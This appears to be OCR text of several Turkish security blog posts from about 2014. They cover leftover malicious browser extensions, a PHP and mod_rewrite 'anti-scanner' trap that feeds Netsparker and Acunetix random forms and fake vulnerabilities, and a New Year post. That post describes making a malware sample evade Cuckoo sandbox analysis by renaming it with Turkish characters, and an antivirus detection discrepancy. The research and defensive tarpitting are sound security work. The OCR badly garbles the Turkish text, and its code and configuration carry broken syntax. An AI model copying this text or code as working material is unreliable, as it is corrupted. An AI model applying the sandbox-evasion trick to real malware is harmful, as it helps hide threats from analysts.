Mozilla 1,185 29% 37 22163K 0 0 00:00:00 0 0.00%
Chrome 1,055 26% 11 61198K 0 0 00:00.00 0 0.00%
Referrer + Hits Visitors Size Page views Sessions Session duration Bounces  Bounce Rate
{no referrer) 8.679 215% 158 125M 17 6 00:12:51 3 50.00%
1| 5,028 125 % 16 111M 0 0 00:00:00 0 0.00%
nitted 3554 88 % 93 B86642K 0 0 00:00:00 0 0.00%
1.726 43% 19 53287TK 0 0 00:00:00 0 0.00%
1p:/tsT travian mitted 1.043 26 % 6 19556 K 0 0 00:00:00 0 0.00%
647 16% 9 12131 K 0 0 00:00:00 0 0.00%
604 15% 63 168.60 K 0 0 00:00:00 0 0.00%
526 13% 10 9980 K 0 0 00:00:00 0 0.00%
453 11% 6 8533K 0 0 00:00:00 0 0.00%
427 1.1% 1 24769K 0 0 00:00:00 0 0.00%
399 1.0 % 8 T4B1K 0 0 00:00:00 0 0.00%
367 09 % T 21289K 0 0 00:00:00 0 0.00%
355 09% 15 T63IBK 0 0 00:00:00 0 0.00%
m 0.8% 22 96.00 K 0 0 00:00:00 0 0.00%
250 0.6 % 10 4805 K 0 0 00:00:00 0 0.00%
223 0.6% 1 181K 0 0 00:00:00 0 0.00%
222 0.6 % 2 11386 K 0 0 00:00:00 0 0.00%
222 06 % 30 6BT1K 0 0 00:00:00 0 0.00%
] http://platform linkedin com/{omitted 219 05% 8 12193 K 0 0 00:00:00 0 0.00%

Goriildiig tizere internet tarayicilarina eklenti olarak bulagan bu ve benzer zararli yazilimlar kolay kolay temizlenememekte ve komuta
kontrol merkezi olarak kullanilan alan adlar1, zaman agimina ugradiktan sonra bile sistemde var olmaya devam etmektedir. Her ne kadar
sistemde bu zararli eklentiler var olmaya devam etse de, komuta kontrol merkezleri olarak kullanilan bu alan adlarinin, zaman asimi1
nedeniyle bir tehdit olusturmadigini diisiiniilebilir fakat art niyetli kisilerin zaman asimina ugramis alan adlarin tekrar kayit ederek,
kendisine gelen tiim istekleri istismar kiti yiiklii olan sitelere yonlendirme ve/veya Beef gibi bir araca yonlendirme ihtimali asla géz
ard1 edilmemelidir.

Zararli yazilim ihtimaline kars1 belli araliklarda internet tarayicinizin eklentilerini kontrol etmenizi dnerir, bir sonraki yazida goriismek
dilegiyle herkese giivenli giinler dilerim.

Anti Scanner

Source: https://www.mertsarica.com/anti-scanner/
By M.S on February 3rd, 2014

P

2011 yilinin Subat ayinda, web sitemin, Acunetix, Netsparker ve Appscan web uygulamasi giivenligi zafiyet tarama araglan ile sikca
taranmasindan dolay1 bu araglar iizerinde ufak bir arastirma yapip Script Kiddie Bezdirme Mekanizmasi adinda bir yazi yazmistim.
Gegtigimiz aylarda sitemin kayitlarini incelerken yine ¢ok sayida Netsparker ile tarama kaydina rastladim. Ufak bir arastirma ve
karsilastirma sonucunda, gectigimiz 3 sene i¢inde sitemi taramak i¢in kullanilan araglarin basinda yine Netsparker'in (community edition)
oldugunu, ikinci olarak ise Acunetix'in (ticari siiriim) oldugunu gérdiim. Netsparker'in hem {icretsiz olmasi hem de ticari siiriimiine gore
kisitlar1 olmasina ragmen, rakiplerine kiyasla daha tutarli sonuglar iiretebilen etkili bir ara¢ olmasi, giivenlik uzmanlarinin yani sira niyeti
bozuk arkadaglar tarafindan da tercih edilmesine neden olmaktadir. 3 sene 6nceye gore sitesi daha da sik taranan ve nezaketen de olsa
tarayanlar tarafindan ne idari ne de teknik zafiyet analiz raporu paylasilmayan biri olarak ( :) ) tarayanlarin isini 3 sene dnceye gore biraz
daha zorlastirmaya, yontemi ve ilgili kodlar1 sizlerle paylagsmaya karar verdim.
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Sitem daha ¢ok Netsparker ile tarandigi i¢in ilk olarak Netsparker odakli basit bir ¢dziim {iretmeye karar versem de, 6zellestirilebilen daha
esnek bir ¢ozlimiin daha fazla zafiyet tarayicisini ve zafiyet arayan botlar1 engellemede kullanilabilecegini diisiinerek farkli ¢oziimler
iizerinde diisiinmeye basladim.

Ise ilk olarak WordPress'in trafik kayitlarini incelemekle bagladim. Cogu zafiyet tarayicisi tarama esnasinda, USER-AGENT alanlar1 da
dahil olmak iizere sunucuya génderilen verilere imzalarini (Acunetix, Netsparker vs.) atarlar. Ozellikle Netsparker gibi iicretsiz olarak
dagitilan araglarda bu imzalarin arayiiz tizerinden degistirilmesi ¢ogu zaman miimkiin olmamaktadir dolayisiyla bu imzaya yonelik
iiretilebilecek basit bir ¢ozlim, tara ve gecten 6teye gidemeyen niyeti bozuk kisileri ve/veya botlar1 bezdirmek i¢in yeterli olacaktir.
Ornegin asagidaki iki ekran goriintiisiine bakacak olursaniz burada Netsparker'n USER-AGENT alaninda imzasma yer verdigini
gorebilirsiniz.

S EERERERERERE

Report for 85.102.160.100 e —

Bezdirme yontemi olarak tarayici tarafindan web sunucusuna gonderilen her istek (request) icin, rastgele degerlerden olusan bir form ve
az sayida sahte zafiyet (dizin bilgisi ifsasi, veritabani bilgisi ifsasi) olusturan kisa ve 6z bir PHP uygulamasi hazirlamaya karar verdim.
Buradaki amacim, rastgele degerlerden olusan bir form olusturan bu PHP uygulamas1 sayesinde tarayici, her gonderdigi yeni istekte,
yeni bir form ve bunun bagli oldugu yeni bir sayfa ile karsilastigin1 zannederek her sayfayi, bu sayfada bulunan formu ve ilgili alanlari,
test edilecek sayfalar kuyruguna alarak kisir dongiiye girmesini ve/veya sistem iizerinde performans sorununa yol agmasini saglamakti.
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http://en.wikipedia.org/wiki/User_agent

= antiscanner php

<7php

function randString($length, Scharsec=

= $charsec[mt_rand(0, $count-1)]:

retarn $str;

<!DCCTYPE html PUBLIC *-//W3C//DTD XHTML 1.0 Transitional//EN" "htep://www.w3.org/TR/xhtmll/DID/xhtmll-transitional.dcd">
"http://www.w3.0org/1999/xhtml" lang="en-US">

e="http://gupg.org/xfn/11">

squive="Content-Type" content="text/html; charset=UTF-8" />

<html xm
H<head pz
<meta http
e>Hack 4 Career - http://www.mertsarica.com</title>

<?php echo randString | ):2>: <input type="text" nan ?php echo randString | " I></p>

" fx</p>

p echo randString(50):;?>: <input type="text" name="<?php echo randString|

<p>< types"submit" /></p>

</form>

function anti (§anti r)<br \>

{<br \>

return §antiscanner;<br \>

}<br \>

"/usr/local/<?php echo randString ) 2>"<br \>
"g:/<?php echo randString(50);?>"<br \>

define( '"DB_NHAME', 'database’ ) ;<br \>

define( 'DB_USER', 'www.mertsarica.com' );:;<br \>
define{ 'DB_PASSWORD', 'antiscanner' );<br \>
define( 'DB_HOST', *localhost' ) ;<br \>

define( 'DB_CHARSET', ‘utf8' ):<br \>

<?php echo randScring(50):?>8<?php echo randString(50);?>.com<br \>
-</html>

rel="stylesheet” href="http://www.<?php echo randString | ?>.com/<?php echo randString( ¥z type="text/css” media="screen" />
="http://www.<?php echo randString | :?>.com/<?php echo randString(s0) 88" e="text/css" ="screen" />
e="application/rss+xml" t "Hack 4 Career RSS Feed" h http: //www. < echo randString| )2 com/feed/" />
=] ype="application/atom+xml" title="Hack 4 Career Atom Feed" "http://www.<?php echo randString( ) #2>.com/feed/atom/"
<link rel="pingback" href="http://www.<?php echo randString(50):?>.com/xmlrpc.php" />
E<form action="<?php echo randString(50):;?>.php" method="

>

Tabii tarayiciy1 kisir dongiiye sokabilmek i¢in web sunucusu iizerinde PHP uygulamasi tarafindan olusturulan her sahte form sayfasiin
cagrildiginda, web sunucusunun tarayiciya gegerli (200 OK) saglamam gerekiyordu. Bunun i¢in sunucu iizerinde olas1 binlerce sayfa

olusturamayacagim i¢in Apache'nin mod rewrite modiiliinden faydalanmaya karar verdim.

mod_rewrite gelen URL isteklerini diizenli ifade kurallarina dayanarak devingen olarak doniistiirmek igin bir yontem saglar.

Boylece keyfi URL'leri kendi URL yapinizla istediginiz sekilde eslestirmeniz miimkiin olur.

Gergekten esnek ve giiclii bir URL kurgulama mekanizmasi olusturmak igin sinisiz sayida kural ve her kural i¢in de sinirsiz sayida
kosul destekler. URL degisiklikleri cesitli sinamalara bagl olabilir: sunucu degiskenleri, HTTP basliklari, ortam degiskenleri,

zaman damgalari, ¢esitli bicimlerde harici veritabani sorgulari.

Tabii yanitlanmasi gereken ufak bir soru daha vardi o da mod_rewrite ile tarayiciy1 kisir dongiiye sokarken gergek kullanicinin bundan
nasil etkilenmemesini saglayabilirdim ? Bunun i¢in yazinin girisinde bahsettigim ve tarayicilarin imzalarini kullandiklar1 USER-AGENT
alanina yonelik bir mod rewrite kurali yazmaya karar verdim. Tabii Acunetix'in ticari siiriimiindeki (v9.0 build 20130904) varsayilan
USER-AGENT imzasi, Netsparker'in (v3.1.6.0) aksine kendi adi yerine Chrome'un USER-AGENT degerini kullaniyordu. Chrome
internet tarayicis1 otomatik giincellemeye sahip oldugu ve Acunetix'in USER-AGENT alaninda varsayilan olarak kullandig1 bu deger,

eski bir siiriime ait oldugu i¢in dert etmeden, goniil rahatlifiyla Acunetix icin de bir kural yazabilecegime karar verdim.
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B httpd.conf - Motepad I =121 x|
File Edit Format Wiew Help

# XaMPP settings -
Include "conf/extrashttpd-xampp, conf”

# Configure mod_proxy_htm] to understand HTMLY <HTMLL
<IfModuTe proxy_html_modules

Include conf/extrasproxy-html. conf

</Tfmodul e

# secure (SSLATLS) connections
Include conf/extrashttpd-ssl. conf
#

# Note: The fo110winﬁ must must be present to suppaort

# starting without ssL on platforms with no fdev/random equivalent
# but a statically compiled-in mod_ss1.

#

<IfModule ss1_module>

ssLRandomseed startup builtin

SSLRandomseed connect builtin

</Tfmodul e

#

# uncomment out the below to deal with user agents that deliberately
# wiolate open standards by misusing DNT (DNT *must® be a specific

# end-user choice)

#

#<Ifmodule setenvif_modules
#EBrowsermMatch "MsSIE 10.0;" bad_DonT
#</IModul ex

#<Ifmodule headers_modules>
#ReguestHeader unset DNT env=bad_DNT
#</IModul ex

# XamPP: we disable operating system specific optimizations for a Tistening
# socket by the http protocol here. IE &4 bit make problems without this.

AcceptFilter http none

# AJPL13 Proxy

<IfmModule mod_proxy. <>

<IfmModule mod_proxy_ajp.c>

Include "conf/extrashttpd-ajp. conf”
</Ifmodul e

</Tfmodul e

RewriteEngine on

# Netsparker v3.1.6.0

Rewritecond ¥{HTTP_USER_AGEMT} A(.*INetsparker(.*)$

Rewriterule AC.¥1% Santiscanner.php

# Acunetix ve.0 build 20130904

rewritecond ¥{HTTP_USER_AGENT} A(.%)28.0.1500.63(.*)%

Rewriterule AC.¥)% ASantiscanner.php =
bI

< |

Yukardaki mod_rewrite kurali ile USER-AGENT alani, Netsparker veya Acunetix'in kullandig1 degere esit ise, istekleri otomatik olarak
hazirladigim PHP uygulamasina (antiscanner.php) yonlendirdim.

Oncelikle normal kullanicilarin bu PHP uygulamasindan etkilenmedigini teyit etmek igin sayfay1 internet tarayicisinin varsayilan USER-
AGENT" ile ¢agirdigimda sayfanin normal halini goriintiileyebildim.

) Mozilla Firefox . == x|

File Edit Wew History EBookmarks Tools Help

ILJMWJHZZDﬂJI |+ | =

L€ 127.0.0.1 77 - @29 cooge 2 A

GLI|IE |[$8- coo e
Hack4Career

hittp e mertsarica. com

Ardindan Firefox'un User Agent Switcher eklentisi ile USER-AGENT'1m1 Netsparker olarak degistirdikten sonra sayfanin her istekte
farki yanit (form ve formun bulundugu adres) dondiigiinii dogruladim.
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¥ Hack 4 Career - http://www.mertsarica.com - Mozilla Firefox = |ﬁ' |5
File Edit Wew History Bookmarks Tools  Help

|| Hack 4 Career - http:/fwww, mertsarica,com | EE =

6 I |l  127.0.0.1/antiscanner.php oW C'l [‘.l" Google )l 1

RbZ6Wopk7Z7RK Fm3glo W4BIB26DS 2mtHzyLom A 8D VEHNT 2w |
aQlm7hsaOyqAdigWIKROZGR 7w GEORnotpi04pTA QNrHTx 163R 5 |

Submit Query |

function anfiscanner(fantiscanner)

{

return Fantiscanner;

¥

"fustflocalt 3DTNEv2DiiGQUesn W CWsbIG 1B SiglU4 GDabxzhg GASACHT3"
"cifwHe 216£5501605Gbikg34 641 Gl Vo DOLF dDVIZZI O ol5"

define( 'DB_IMAME', 'database' );

definef 'DE_TIZER, wwwimertsarica com' b,

define( 'DBE_PASSWORD', 'antiscanner' ),

definef TE_HOET', locathost' ),

define( DE_CHARSET', wf8'),

JOTNrgQveBhOBLLM scmd 1 Iqzvi8idh 8 e ONGLouszHN 2K YU @imab YEIP 2N gB dv3yFnb 3 T TwValp 8K S1gP 05 NDmE ¥ 3l8qd 79T com

¥ Hack 4 Career - http:/ /www.mertsarica.com - Mozilla Firefox ==

File Edit ‘iew History Bookmarks Tools  Help

| || Hack 4 Career - http:/funw, mertsarica, com | + | =
\S'/__ [ Ll  127.0.0.1/antiscanner.php > cl [_Ol, Google }l s

ZN3D4ASLQqHP a2 Y CZmZyWIFRfe d0ANT 1 3epbo BNmC2gOr8R1: I

EAdOAThwlSSF al{wpbipis 7P 3k 23TWAGRUF TN S 7MNychQVEme NHC: I

Submit Query |

function antiscanner($antiscanner)

{

return Fantiscanner;

¥

"fustilocallaF 79V Ete TWinF TZRwiR 9G2uw 7 GL2 G503 TaiR GO qr9aDTHIT 1 Dl
"cihad CitlkLAK 0 a0k ToUBEréugwO Bav] sthebm Vyne Q7F Cyetw2 V"

definef DB _MAWE', 'database’ );

definef 'TE_TISER!, 'wwwmertsarica com' J,

definef DE_PAIIWORD', 'antiscanner’ ,

definef TE_HOET', locathost' ),

define{ DB_CHARSET', 'wf8');

ZEw 33U R 3qIp BMWOa 3K Mevd0 AxWicduQp 7231985810 CaRE man@ A S4ZF LWk OpHMmbep MO6sifTh IFF Ci0bH I TrFh2000eerch 7. com

Sira Netsparker ve Acunetix ile test yapmaya geldiginde, Netsparker Community Edition siiriimiiniin, basladig1 taramay1 4 saat sonunda
hala bitiremedigini ve artan bellek kullanimi nedeniyle isletim sistemi {izerinde bellek sorununa yol agtigint gérdiim.
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E windows Task Manager 1 i

File Options View Shut Down  Help

I =[]

ﬂ Applications ~ Processes |PerFUrmance I Metworking I Users I
-

User Mame
MetsparkerHelper...  Administrator 39,552 K
rubyw.exe SYSTEM oo 32,903 K
firefox.exe Administratar 0o 28,724 K
javaw. exe Adrinistrator on 22,980 K
chrome. exe Administrator 0o 16,088 K
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‘@ Issues (303) Encoder [} Lo

‘four system is low on virtual memory, Windows is increasing
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denied, For more infarmation, see Help,

E windows Task Manager

File Options ¥iew Shut Down  Help

] [
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explorer.exe Administrator oo 11,616 K
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mcshield, exe SYSTEM 0o Q276K
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httpd.exe Administrator oo TAZEK
wmtoolsd, exe Administratar 0z 6,580 K
vmtoolsd, exe S¥YSTEM ali} 4,392 K
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[V show processes from all users
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Acunetix ile yapmig oldugum taramada ise bellek sorunu ile kargilasmamis olsam da taramanin 2 saat sonunda hala bitemedigini gordiim.
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%] Application Settings [ vav7xd0GFKpOE NsN7Ia02k7 HOGMhOC. .. O
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) Seanning Profiles [ #vUFpGHIrdwZHQODCHELKYLICKL 26K, .. OK Response time histary
laeneral [©) SRIFAYEPQCSKCYS4EPRLORUHMBIPFEI02yL. .. OK
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: : : -
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Activity Window

12.24 14:10.28, [Warning] Unable to download update infarmation. Please review your settings or try later.
12,24 14:10,28, [Error] Cannot connect. [00020004]

Error while connecting to web server

12.24 14:18.34, [Error] Scan "Scan Thread 1" was aborted by user.
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Web Scanner [Mumber of websites left to scan : 1

=181x|

n)

*J‘ | Rleport | >
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HTTF Fuzzer ;‘J Site Struckure G| Targetinformation  hitp: /1 27.0.0.1:60/ '9
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] scan Settings [ 49RFpfl6dxA3IEICHEdFoACTyIPaeNINQUEZ, ., OK
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12.24 14:10.28, [Error] Cannot connect, [00020004]
Error while connecting to web server
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Application Lag  Error Log
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Kissadan hisse, mod_rewrite ve ufak bir PHP uygulamasi ile script kiddieler'in taramalarini yavaglatacak bir yontem gelistirmis
oldum. Evet baktiginiz zaman bu yontemin atlatilmasi ¢ok zor degil ancak ilave kontroller uygulayarak kedi fare oyunundaki yerinizi
alabilirsiniz :)

Ornek PHP uygulamasina ve mod_rewrite kurali iceren httpd.conf dosyasini buradan indirebilirsiniz.

Bir sonraki yazida goriigmek dilegiyle herkese giivenli giinler dilerim.
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Mutlu Yillar

Source: https://www.mertsarica.com/mutlu-yillar-2014/
By M.S on December 31st, 2013

e

Tyisiyle, kétiisiiyle, zararlistyla, hackertyla, uzun bir y1li geride birakiyoruz. Siber giivenlik adina son 1 yilda iilkemizde ciddi ¢alismalar
yapildi, adimlar atild1.

Belki de bunlardan en 6nemlisi, resmi gazetede Ulusal Siber Giivenlik Stratejisi ve 2013-2014 Eylem Plani'nin yayinlanmast oldu.

Bu eylem plan1 sayesinde siber giivenlik uzmanlarinin yetistirilmesine daha ¢ok énem verilmeye baslandi. Universitelerde siber giivenlik
egitimleri yayginlastirilmaya baglandi. Siber giivenlik tatbikatlarina, yarismalarina hiz verildi. Ulusal Siber Olaylara Miidahale Merkezi
(USOM) kuruldu kisaca saya saya bitiremeyecegimiz birgok adim atildi, gelisme yasandi.

Yumurta kapit misali, hacking haberleri ve zararli yazilim salginlan ile kurumlarin bilgi giivenligi farkindaligi artmaya basladi.
Gegtigimiz yillara oranla sizma testi uzmanlarina talep daha da artt1. Bugiine kadar bagimiza ne geldi, 10 isi yapiyorsun, sizma testi
de 11. isin olsun, IPS & AV & Web & E-posta Ag Gegidi ¢oziimii kullantyorum, bana birsey olmaz diyen zihniyetin yavas yavas
isin ciddiyetini kavradigi, miisteri giivenligi ve regiilasyon bir yana, zedelenen kurumsal itibarin yedekten doniilemeyecegi net olarak
anlasilmaya baglandi.

Yukarda da belirttigim {izere gegtigimiz yillara oranla sizma testi uzmanlarina talep daha da artti. Fakat buradan siber giivenlik
uzmanlarini, sizma testi uzmanlarini kurnaz insan kaynaklari danismanlik firmalaria karsi uyarmakta fayda var. Kimi danigmanlik
firmalar1, Linkedin iizerinden grep CEH, grep CISSP yaparak sizinle iletisime geciyorlar ve giivenlik uzmani arayisi i¢inde olduklarini
ve hemen yliz yiize goriismek istediklerini iletiyorlar. Bunun nedeni ise kimi danigmanlik firmalarimin her goériisme igin, arayista
bulunduklar1 firmadan komisyon almalari oluyor dolayisiyla sizi zaman zaman alakasiz pozisyonlar i¢in dahi goriismeye davet etmekten
cekinmiyorlar. Buna karsi, kars1 tarafa 3 soru sormakta fayda var; 1- Pozisyon nedir ? 2- Is tanimi nedir ? 3- Diisiiniilen iicret arali
nedir ? Bu 3 soru karsisinda mavi ekran vermiyorlarsa goriismeye goniil rahatligiyla devam edebilirsiniz :)

2013 y1l1 benim i¢in bol bol sizma testi, zararli yazilim analizi, blog yazisi, sunum, teknik ¢aligma ve Giivenlik TV ile gegti. Hacking
haberleri sayesinde sizma testinin kurumlar i¢in 6nemine dikkat ¢gekmenin artik anlamsiz oldugu su giinlerde, zararli yazilim analizinin
kurumlar i¢in (6zellikle bankacilik sektdrii) ne kadar 6nemli oldugu, yil iginde gergeklesen ve sadece Tiirkiye'yi hedef alan Fatmal,
Hesperbot gibi salginlarda daha ¢ok anlagildi. Ozellikle FatMal salgminda, komuta kontrol merkezinden cep telefonuna zararl yazilim
bulagmis miisterileri tespit edebilmenin, miisteri giivenligi adina ne kadar énemli oldugunu kendi adima tecriibe etmis oldum. Yil
icinde yazdigim teknik yazilardan aldigim olumlu geri doniisler sayesinde motivasyonumu yiiksek tutabildim ve her ay en az 1 yaz1
yazmaya 6zen gosterdim. Halil OZTURKCI ile gerceklestirdigimiz, birbirinden degerli konuklarimiz ile giivenlik diinyasinda olup
bitene yer verdigimiz Giivenlik TV ile bir yil1 geride biraktim. Universitelerden gelen konusma davetlerini elimden geldigince kabul
etmeye calisgtim. Mesafelerin engel oldugu zamanlarda, Skype imdadimiza yetiserek yine siber giivenlige merakli, ilgi duyan 6grenci
arkadaglarla goriismeler gergeklestirebildim. Y1l icinde bol bol "nereden, nasil baglamaliyim, nasil ilerlemeliyim ?" sorularini iceren
e-postalara elimden geldigince detayli yanitlar vermeye ¢alistim. Egitici ve 6gretici yazilarin ve sunumlarin yetersiz kaldigi noktalari
doldurabilme adina, Zararli Yazilim Analizi 101 dersi (2014 Subat ay1 itibariyle) vermek i¢in Bahgesehir Universitesi'nin Siber Giivenlik
Yiiksek Lisans Programi'na katildim.

2013 yilini, gectigimiz giinlerde kesfettigim, cam sakizi goban armagani bir zafiyetle kapatmak istedim. Herkesin bildigi gibi zararl
yazilim analizinde, en kisa siirede sonuca yani zararli yazilimin sistem, ag tizerindeki etkisini anlamak i¢in ¢esitli dinamik, statik, kod ve
bellek analiz yontemlerinden faydalaniriz. Dinamik analizde kum havuzlar (sandbox), analizin olmazsa olmazlarindandir. Ozellikle agik
kaynak kodlu Cuckoo Sandbox, (¢evrimigi siiriimii ile Malwr) bu analizin vazgegilmezidir. Ancak her zaman sdylenildigi gibi dinamik
ve statik kod analizi yapilmadigi siirece sistemsel dinamik analiz ile elde edilen bilgilerin dogrulugundan tam olarak emin olamazsiniz.

Bunu farkli bir drnekle ortaya koymak ve bu konuda farkindaligr arttirmaya yardimei olabilmek adina malwr.com'da hizmet veren
Cuckoo Sandbox ile biraz oynamaya bagladim. Giivenlik testlerinden bugiine dek tecriibe ettigim kadariyla ¢ogunlukla ¢evrimici,
¢evrimdist olsun, disaridan dosya kabul eden benzer uygulamalar, sistemler, Tiirk¢e karakter iceren dosya isimlerini ¢éziimlemede
(parse) sikint1 yasayabiliyorlar. Hesperbot salginindan elde ettigim 6rnek zararlt yazilimin adini degistirip (fatura.exe dosyasinin adini
faturaU U U.exe olarak degistirdim) malwr.com'a géndermeye basladiktan kisa bir siire sonra dosya isminin sonunda U U U oldugu
taktirde malwr.com'da gerceklesen analizin kisir dongiiye girdigini ve analizin sonlanmadigini farkettim. Dosyay1 ¢evrimdist olarak
Cuckoo Sandbox ile analiz etmeye ¢alistigimda da bir hata ile karsilagtim.

Giinler énce faturaU U U.exe dosyasinin, iizerinde Cuckoo Sandbox galisan malwr.com adresine génderilmis ve hala kisir dongiide
kalmig analizine buradan ulasabilirsiniz.

50


https://www.mertsarica.com/mutlu-yillar-2014/
https://www.mertsarica.com/mutlu-yillar-2014/
http://www.resmigazete.gov.tr/eskiler/2013/06/20130620-1-1.pdf
http://www.bahcesehir.edu.tr/haber/siber_guvenlik_yuksek_lisans_programi_basliyor
http://www.bahcesehir.edu.tr/haber/siber_guvenlik_yuksek_lisans_programi_basliyor
http://www.tubitak.gov.tr/tr/haber/2-ulusal-siber-guvenlik-tatbikati-basariyla-tamamlandi
http://ctf.sibermeydan.org/
http://usom.gov.tr/
http://usom.gov.tr/
http://www.guvenliktv.org/
http://www.mertsarica.com/sunumlar/Ofansif_Zararli_Yazilim_Analizi.pdf
https://twitter.com/halilozturkci
http://www.mertsarica.com/bau-zararli-yazilim-analizi-101-dersi/
http://www.cuckoosandbox.org/
https://malwr.com/
https://malwr.com/submission/status/NDFlYzY4NGJhZTk5NGRlZWIwYzU4ZjU5YTMwNDgyMWY/
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Submit Ahout = Sign up Login
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Hang on...
The analysis is still pending or under processing. This page will refresh every 30 seconds.

ommonz CC BY-HC-SA 3.0 lic

o Cuckoe - VMware Workstation > |
File Edit View VM Tabs Help
Home p Cuckoo

To direct input to this VM, click inside or prese Ctrl=G i Vo = &,

Tabii diyeceksiniz ki adini fatura.exe yapip yollasam analiz basariyla tamamlanmayacak mi ? Tamamlanacak fakat zararli yazilim
calistiktan sonra hangi isim altinda ¢aligip ona gore zararli fonksiyonlari cagiracaksa sekilde tasarlanmis olsaydi o da ¢6ziim olamayacakti
kisaca kod analizi yapmadan her zaman bu tiir yontemlerle analizin atlatilmasi, farkli sonuglar {iretmesi miimkiin olabiliyor.

Cuckoo/Malwr disinda bu iki zip dosyasini VirusTotal'a da gonderip orada da ilging bir durumla karsilasip kargilagmayacagima
bakmak istedim. 2 dosyay1 da ayr1 ayr1 VirusTotal'a gonderip rapora baktigimda, fatura normal.zip (36/49) ile fatura bypass.zip (35/49)
icin tretilen raporlarda, Comodo antiviriis yazilimin farkli sonug iirettigini goérdiim. fatura normal.zip dosyasini zararli olarak tespit
edebiliyorken, fatura bypass.zip i¢in dosyanin giivenli oldugunu raporluyordu.
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Kissadan hisse, zararli yazilim analizi i¢in sistemsel, davranigsal analiz evet kisa siirede size bir¢ok ipucu verebiliyorken, kolaylikla
atlatilabilecegi ve duruma gore farkli sonuglar iiretilecegi higbir zaman unutulmamalidir.

Bu vesileyle herkesin yeni yilin1 kutlar, 2014 yilin1 herkese saglik, mutluluk ve basar1 getirmesini dilerim :)
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